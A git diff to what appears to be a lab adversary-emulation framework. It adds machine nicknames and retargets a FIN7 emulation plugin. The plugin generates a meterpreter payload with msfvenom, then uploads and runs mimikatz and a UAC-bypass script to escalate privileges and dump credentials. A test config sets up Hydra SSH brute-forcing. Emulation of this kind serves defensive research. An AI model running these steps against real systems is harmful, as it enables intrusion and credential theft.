diff --git a/app/machinecontrol.py b/app/machinecontrol.py index fe24bb3..bc0b8e0 100644 --- a/app/machinecontrol.py +++ b/app/machinecontrol.py @@ -324,6 +324,11 @@ class Machine(): return self.config.vmname() + def get_nicknames(self): + """ Returns the machine name """ + + return self.config.get_nicknames() + def get_playground(self): """ Return this machine's playground """ diff --git a/plugins/base/attack.py b/plugins/base/attack.py index 206bb0e..ada0854 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -2,7 +2,7 @@ """ Base class for Kali plugins """ from plugins.base.plugin_base import BasePlugin -from app.exceptions import PluginError +from app.exceptions import PluginError, ConfigurationError from app.calderacontrol import CalderaControl # from app.metasploit import MSFVenom, Metasploit import os @@ -139,7 +139,7 @@ class AttackPlugin(BasePlugin): def __execute__(self, targets): """ Execute the plugin. This is called by the code - @param targets: A list of targets, ip addresses will do + @param targets: A list of targets => machines """ self.targets = targets @@ -164,3 +164,21 @@ class AttackPlugin(BasePlugin): return self.references raise NotImplementedError + + def get_target_by_name(self, name): + """ Returns a target machine out of the target pool by matching the name + If there is no matching name it will look into the "nicknames" list of the machine config + + @param name: The name to match for + @returns: the machine + """ + + for t in self.targets: + if t.get_name() == name: + return t + + for t in self.targets: + if name in t.get_nicknames(): + return t + + raise ConfigurationError(f"No matching machine in experiment config for {name}") diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 335eb33..59ebd38 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -64,39 +64,41 @@ class FIN7Plugin(AttackPlugin): # TODO: Make sure logging is nice and complete + hotelmanager = self.get_target_by_name("hotelmanager") + # WMI queries https://attack.mitre.org/techniques/T1057/ # Execute net view from spawned cmd https://attack.mitre.org/techniques/T1135/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}new view {CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": self.targets[0].get_ip()}) + self.caldera_attack(hotelmanager, "deeac480-5c2a-42b5-90bb-41675ee53c7e", parameters={"remote.host.fqdn": hotelmanager.get_ip()}) # check for sandbox https://attack.mitre.org/techniques/T1497/ # The documentation does not define how it is checking exactly. self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}get-wmiobject win32_computersystem | fl model{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "5dc841fd-28ad-40e2-b10e-fb007fe09e81") + self.caldera_attack(hotelmanager, "5dc841fd-28ad-40e2-b10e-fb007fe09e81") # query username https://attack.mitre.org/techniques/T1033/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query USERNAME env{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") + self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") # TODO: query computername https://attack.mitre.org/techniques/T1082/ # self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}query COMPUTERNAME env{CommandlineColors.ENDC}", 1) - # self.caldera_attack(self.targets[0], "c0da588f-79f0-4263-8998-7496b1a40596") + # self.caldera_attack(hotelmanager, "c0da588f-79f0-4263-8998-7496b1a40596") # TODO: load adsldp.dll and call dllGetClassObject() for the Windows Script Host ADSystemInfo Object COM object https://attack.mitre.org/techniques/T1082/ # WMI query for System Network Configuration discovery https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Network configuration discovery. Original is some WMI, here we are using nbstat{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "14a21534-350f-4d83-9dd7-3c56b93a0c17") + self.caldera_attack(hotelmanager, "14a21534-350f-4d83-9dd7-3c56b93a0c17") # System Info discovery https://attack.mitre.org/techniques/T1082/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}System info discovery, as close as it gets{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "b6b105b9-41dc-490b-bc5c-80d699b82ce8") + self.caldera_attack(hotelmanager, "b6b105b9-41dc-490b-bc5c-80d699b82ce8") # CMD.exe->powershell.exe, start takeScreenshot.ps1 https://attack.mitre.org/techniques/T1113/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Take screenshot{CommandlineColors.ENDC}", 1) - self.caldera_attack(self.targets[0], "316251ed-6a28-4013-812b-ddf5b5b007f8") + self.caldera_attack(hotelmanager, "316251ed-6a28-4013-812b-ddf5b5b007f8") # TODO: Upload that via MSSQL transaction https://attack.mitre.org/techniques/T1041/ self.attack_logger.vprint( @@ -116,6 +118,7 @@ class FIN7Plugin(AttackPlugin): # Uploaded stager creates meterpreter shell (babymetal) # Generate payload: + hotelmanager = self.get_target_by_name("hotelmanager") payload_name = "babymetal.exe" # TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see: @@ -125,7 +128,7 @@ class FIN7Plugin(AttackPlugin): # -f C : output is c code # --encrypt xor : xor encrypt the results # --encrypt-key m : the encryption key - venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger) + venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) venom.generate_and_deploy(payload=self.payload_type_1, architecture="x64", platform="windows", @@ -153,7 +156,7 @@ class FIN7Plugin(AttackPlugin): # metasploit1 = self.get_metasploit_1() # print("Got session, calling command") - # print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0])) + # print(metasploit.meterpreter_execute_on(["getuid"], hotelmanager)) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) @@ -162,53 +165,62 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1) + hotelmanager = self.get_target_by_name("hotelmanager") + # This is meterpreter ! metasploit = self.get_metasploit_1() # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["ps -ax"], self.targets[0])) + print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) # powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/ self.attack_logger.vprint( f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on(["arp"], self.targets[0])) + print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ - # TODO: Add real ip - itadmin = "127.0.0.1" - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], self.targets[0])) + # TODO: Add real ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error + # itadmin = "127.0.0.1" + # self.attack_logger.vprint( + # f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) + # print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager)) # Copy step 5 attack tools to attacker - # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ - # tplayground = self.targets[0].get_playground() - # aplayground = self.attacker_machine_plugin.get_playground() or "" - self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") - self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") - cmd = "upload samcat.exe 'samcat.exe' " - print(cmd) - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2)) - - cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " - print(cmd) - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2)) - - # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ - execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" - print(execute_samcats) - self.attack_logger.vprint( - f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([execute_samcats], self.targets[0], delay=20)) - # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once + use_mimikatz = True # TODO: Read this from config + if use_mimikatz: + # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ + # tplayground = hotelmanager.get_playground() + # aplayground = self.attacker_machine_plugin.get_playground() or "" + self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe") + self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1") + print(metasploit.meterpreter_execute_on(["ls"], hotelmanager, delay=10)) + cmd = "upload samcat.exe 'samcat.exe' " + # cmd = "upload boring_test_file.txt 'samcat.exe' " + print(cmd) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + + cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' " + # cmd = "upload boring_test_file.txt 'samcat.exe' " + print(cmd) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([cmd], hotelmanager, delay=10)) + + # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ + execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'" + print(execute_samcats) + self.attack_logger.vprint( + f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1) + print(metasploit.meterpreter_execute_on([execute_samcats], hotelmanager, delay=20)) + # TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ + print("Verify we are still connected") + print(metasploit.meterpreter_execute_on(["ps -ax"], hotelmanager)) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) @@ -221,7 +233,7 @@ class FIN7Plugin(AttackPlugin): # powershell download: paexec.exe and hollow.exe https://attack.mitre.org/techniques/T1105/ # spawn powershell through cmd # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ - # paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ + # paexec starts temporary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ # => Lateral move to itadmin # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # svchost starts data exchange @@ -300,7 +312,7 @@ class FIN7Plugin(AttackPlugin): self.step1() self.step2() - # self.step3() # Done and works + self.step3() # Done and works self.step4() self.step5() self.step6() diff --git a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml index f2bebc8..34a449a 100644 --- a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml +++ b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml @@ -56,6 +56,10 @@ targets: active: yes vm_name: target2 + + nicknames: + - hotelmanager + os: windows paw: target2w group: red_windows diff --git a/template.yaml b/template.yaml index f9237cf..e487c62 100644 --- a/template.yaml +++ b/template.yaml @@ -27,6 +27,11 @@ attackers: # Name of machine in Vagrantfile vm_name: attacker + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "suspect 1" + ### # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path # and will be mounted internally as /vagrant/ @@ -56,6 +61,12 @@ targets: active: no vm_name: target1 + + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "web server" + os: linux ### # Targets need a unique PAW name for caldera @@ -87,6 +98,13 @@ targets: active: no vm_name: target2 + + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "t2" + - "practice target" + os: windows paw: target2w @@ -144,6 +162,13 @@ targets: active: yes vm_name: target3 + + ### + # Machine can have nicknames. They can be used in complex attacks to reference the machine + nicknames: + - "red shirt" + - "the flag" + os: linux ### # Targets need a unique PAW name for caldera diff --git a/tests/data/attacker_has_empty_nicknames.yaml b/tests/data/attacker_has_empty_nicknames.yaml new file mode 100644 index 0000000..cc42c98 --- /dev/null +++ b/tests/data/attacker_has_empty_nicknames.yaml @@ -0,0 +1,174 @@ + +### +# Caldera configuration +caldera: + ### + # API key for caldera. See caldera configuration. Default is ADMIN123 + apikey: ADMIN123 + +### +# Attacks configuration +attackers: + ### + # Configuration for the first attacker. One should normally be enough + attacker: + + ### + # Defining VM controller settings for this machine + vm_controller: + ### + # Type of the VM controller, Options are "vagrant" + type: vagrant + ### + # # path where the vagrantfile is in + vagrantfilepath: systems + + # Empty for a reason. It is being tested + nicknames: + + ### + # Name of machine in Vagrantfile + vm_name: attacker + + ### + # machinepath is a path where the machine specific files and logs are stored. Relative to the Vagrantfile path + # and will be mounted internally as /vagrant/ + # If machinepoath is not set AttackX will try "vm_name" + machinepath: attacker1 + + ### + # OS of the VM guest. Options are so far "windows", "linux" + os: linux + + ### + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + +### +# List of targets +targets: + ### + # Specific target + target1: + vm_controller: + type: vagrant + vagrantfilepath: systems + + vm_name: target1 + + # Used for tests + nicknames: + - 1 + - 2 + - 3 + + os: linux + ### + # Targets need a unique PAW name for caldera + paw: target1 + ### + # Targets need to be in a group for caldera + group: red + + machinepath: target1 + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + + target2: + #root: systems/target1 + vm_controller: + type: vagrant + vagrantfilepath: systems + + vm_name: target2 + os: windows + paw: target2w + group: red + + machinepath: target2w + + # Do not destroy/create the machine: Set this to "yes". + use_existing_machine: yes + ### + # Optional setting to activate force when halting the machine. Windows guests sometime get stuck + halt_needs_force: yes + + ### + # If SSH without vagrant support is used (Windows !) we need a user name (uppercase) + ssh_user: ATTACKX + + ### + # For non-vagrant ssh connections a ssh keyfile stored in the machinepath is required. + ssh_keyfile: id_rsa.3 + +### +# General attack config +attacks: + ### + # configure the seconds the system idles between the attacks. Makes it slower. But attack and defense logs will be simpler to match + nap_time: 5 + +### +# A list of caldera attacks to run against the targets. +caldera_attacks: + ### + # Linux specific attacks. A list of caldera ability IDs + linux: + - "bd527b63-9f9e-46e0-9816-b8434d2b8989" + ### + # Windows specific attacks. A list of caldera ability IDs + windows: + - "bd527b63-9f9e-46e0-9816-b8434d2b8989" + +### +# Kali tool based attacks. Will result in kali commandline tools to be called. Currently supported are: "hydra" +kali_attacks: + ### + # Linux specific attacks, a list + linux: + - hydra + ### + # Windows specific attacks, a list + windows: + - hydra + +### +# Configuration for the kali attack tools +kali_conf: + ### + # Hydra configuration + hydra: + ### + # A list of protocols to brute force against. Supported: "ssh" + protocols: + - ssh + #- ftp + #- ftps + ### + # A file containing potential user names + userfile: users.txt + ### + # A file containing potential passwords + pwdfile: passwords.txt + +### +# Settings for the results being harvested +results: + ### + # The directory the loot will be in + loot_dir: loot + +### +# General sensor config config +sensors: + ### + # Windows sensor plugin configuration + windows_sensor: + ### + # Name of the dll to use. Must match AV version + # dll_name: aswidptestdll.dll + dll_name: windows_sensor.dll + + ### + # Folder where the sensor tool is located + sensor_tool_folder: windows_sensor \ No newline at end of file diff --git a/tests/test_config.py b/tests/test_config.py index 23f3db2..35ea34d 100644 --- a/tests/test_config.py +++ b/tests/test_config.py @@ -546,6 +546,21 @@ class TestExperimentConfig(unittest.TestCase): self.assertEqual(ex.attackers()[0].vmname(), "attacker") self.assertEqual(ex.attacker(0).vmname(), "attacker") + def test_nicknames_missing(self): + """ Test when the machine nicknames are non existing """ + ex = ExperimentConfig("tests/data/basic.yaml") + self.assertEqual(ex._attackers[0].get_nicknames(), []) + + def test_nicknames_present_but_empty(self): + """ Test when the machine nicknames are empty """ + ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml") + self.assertEqual(ex._attackers[0].get_nicknames(), []) + + def test_nicknames_present(self): + """ Test when the machine nicknames are there """ + ex = ExperimentConfig("tests/data/attacker_has_empty_nicknames.yaml") + self.assertEqual(ex._targets[0].get_nicknames(), [1, 2, 3]) + def test_missing_kali_config(self): """ Getting kali config for a specific attack. Attack missing """